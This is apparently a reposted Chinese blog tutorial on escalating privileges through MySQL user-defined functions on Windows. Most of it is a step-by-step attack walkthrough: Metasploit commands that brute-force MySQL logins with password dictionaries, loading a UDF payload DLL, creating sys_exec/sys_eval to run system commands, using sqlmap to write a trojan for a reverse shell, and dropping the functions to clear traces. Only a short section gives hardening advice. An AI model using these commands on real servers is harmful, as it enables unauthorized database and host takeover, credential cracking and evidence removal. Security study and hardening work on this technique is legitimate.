Window环境下MySQL UDF提权
作者:h领小白帽 发布时间:2024-01-21 09:53:01
前言
本文章仅记录某次内网渗透过程中遇到的MySQL 采用UDF提权等方式进行获取权限,文章中内容仅用于技术交流,切勿用于非授权下渗透攻击行为,慎重!!!
一、UDF简介
UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在MySQL中进行使用这些函数了。
攻击者通过编写调用cmd或shell的udf.dll/udf.so文件,并且导入到指定的文件夹目录下,创建一个指向udf.dll/udf.so的自定义函数,从而在数据库中的查询就等价于在cmd或shell中执行命令。
二、UDF提权条件
1、MySQL数据库的Root权限(可以通过账号密码远程登录到Mysql数据库)
2、MySQL具有写入文件的权限(即Secure_file_priv的值为空,不为空时必须有写入my.ini的权限)
连接MySQL数据库后,通过SQL语句show global variables like '%secure%';
查看secure_file_priv的值。
当secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法提权。
当secure_file_priv的值为/tmp/, 表示限制mysqld的导入|导出只能发生在/tmp/目录下,此时也无法提权;
当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制,此时可提权。
如果secure_file_priv的值不是空,需要在MySQL/my.ini中设置secure_file_priv参数为secure_file_priv =
三、上传动态链接库文件
动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为 .dll ,在Linux环境下后缀名为 .so ,我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。
MySQL版本大于5.1
,udf.dll文件必须放置在mysql安装目录的lib\plugin
文件夹下(plugin文件夹默认不存在,需要自行创建;MySQL安装目录可以通过select basedir() 或者select @@basedir 查看)
MySQL版本小于5.1
,udf.dll文件在win2003下放置于C:\Windows
或者C:\Windows\system32
目录,在win2000下放置在C:\Winnt\system32
目录。
四、UDF提权步骤
1、查看secure_file_priv的值
Secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。
输入语句:show global variables like '%secure%';
##值为空即可操作
2、查看plugin的值
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password 时可通过账户连接提权
实际测试发现UDF提权成功与否与该值无关。
3、查看系统构架以及plugin目录
Show variables like '%compile%'; //查看主机版本及架构
show variables like '%plugin%'; //查看 plugin 目录
MSF漏洞验证
使用MSF搜索关于MySQL辅助利用脚本
search mysql
使用弱口令扫描脚本,并查看需要配置选项
use auxiliary/scanner/mysql/mysql_login
show options
可配置 pass_file(暴力破解字典,所在绝对路径)在不知道密码的情况下可使用
配置 RHOSTS (靶机IP地址)
set rhosts 192.168.x.x/24 (可批量扫描)
配置USERNAME(靶机MySQL服务用户名
)或者配置USER_FILE(用户名字典
)
方法二选一
set pass_file /top100.txt
set rhosts 192.168.x.x
set username root
run 或者 exploit 进行攻击!!!
以上两种方法是在未知MySQL数据库账密情况下进行爆破方式,具体以实际情况为主。
获取MySQL的基础信息
使用模块:use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.x.x
set password root
set username root
run
获取MySQL基础信息及其他存在用户及其密码
可使用CMD5或者john工具进行破解
接下来进行UDF提权,加载攻击载荷
use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.*.*
set password root
在MySQL中执行SQL语句,查看上传的DLL文件名
select * from mysql.func;
执行命令 select sys_exec("whoami");
如果返回结果为 0 就代表成功,返回1
代表失败。
通过之前MSF生成的DLL文件创建sys_eval()
函数,使执行的命令存在回显。
create function sys_eval returns string soname "****.dll";
再次执行命令 select sys_eval("whoami");
可使用攻击载荷 use auxiliary/admin/mysql/mysql_sql
进行后续其他命令操作
五、UDF提权反弹Shell
当UDF提权后,我们想反弹一个MSF或者CS的shell,首先呢使用CS的PowerShell反弹命令是不行的,这里由于powershell命令引号过多,不能执行。
那么现在的思路就是执行木马文件,反弹Shell,这里由于sys_eval函数不能执行Windows那些远程下载命令,所以我们选择通过sqlmap的写入文件功能,将木马写入当前目录。
首先,查看当前目录
然后sqlmap写入木马,这里也是可以进行远程下载的;
命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:\phpStudy\PHPTutorial\MySQL\data\*.exe"
执行木马反弹,这里需要注意的是,sys_eval函数只能执行当前目录下的文件,所以,也只能把文件写入当前路径下。
六、清理痕迹
命令:drop function sys_eval;
drop function sys_exec;
七、修复建议
1、mysql配置文件中 secure_file_priv 项设置为NULL或非 mysql/lib/plugin
目录。
2、控制目录访问权限,例如控制/lib/plugin
,system32/wbem/mof
等目录需要管理员权限访问或者设置为只读权限。
3、数据库用户确保正确实施最小权限原则。
来源:https://blog.csdn.net/weixin_46944519/article/details/129586221


猜你喜欢
- 今天偶尔在一个学习网站技术的地方看到一个教程,关于html代码的,刚看到咱常用到的视频播放器html标签Object,平时用到他的时候都是为
- 下面是完整代码://记录搜索引擎爬行记录 $searchbot = get_naps_bot(); if ($searchbot) { $t
- 首先得有一个Scrapy项目,我在Desktop上新建一个Scrapy的项目叫test,在Desktop目录打开命令行,键入命令:scrap
- 利用MySQLfs这个工具,我么可以在MySQL关系数据库中存储文件系统。MySQLfs将文件系统中文件的字节内容分解成数据库中的元组,而数
- 因为最近公司有python项目维护,所以把python的基础入门的书整理一遍,因为有些忘记了,同时在看<<python编程>
- 本文主要介绍了python中读取和查看图片的6种方法,分享给大家,具体如下:file_name1='test_imgs/spect/
- 1.re.match()re.match()的概念是从头匹配一个符合规则的字符串,从起始位置开始匹配,匹配成功返回一个对象,未匹配成功返回N
- Json模块dumps、loads、dump、load函数介绍1、json.dumps() json.dumps()用于将dict
- 使用axios发送post请求出现400错误出现400状态码主要有两种原因1.bad request:“错误的请求&qu
- # -*- coding: utf-8 -*- import numpy as npimport matplotlib.pyplot as
- 本文实例为大家分享了python和shell监控linux服务器的具体代码,供大家参考,具体内容如下1、 shell监控负载监控原理:使用u
- 何为样本分布不均:样本分布不均衡就是指样本差异非常大,例如共1000条数据样本的数据集中,其中占有10条样本分类,其特征无论如何你和也无法实
- 前言最近将使用爬虫爬取的链接保存到 mysql 数据库中时,发现我将链接使用 json_encode 保存时候,在数据库中却显示了转义字符,
- String slctpsql="select id ,"+uid+","+ddd+",&
- HTML代码: <div class="float" id="float"> 我是个腼腆
- 本来在网上有不少关于这方面的文章,可是我找了好久也没看到把(可能我的搜索水平有线把)不过倒是聊天室的很多。如何统计会员再线状态,希望对刚开始
- 文章简介本文介绍一种 Golang 程序在运行时加载 C 动态库的技术,跳过了 Golang 项目编译阶段需要链接 C 动态库的过程,提高了
- 前情提要:作为刚入门机器视觉的小伙伴,第一节课学到机器视觉语法时觉得很难理解,很多人家的经验,我发现都千篇一律,功能函数没解析,参数不讲解,
- 这几天一直在看《Pro JavaScript Techniques》,书中有不少优美、健壮代码,让我不得不惊叹老外对语言这东西的研究程度之深
- 清除日志: DECLARE @LogicalFileName sysname, @MaxMinutes INT, @NewSize INT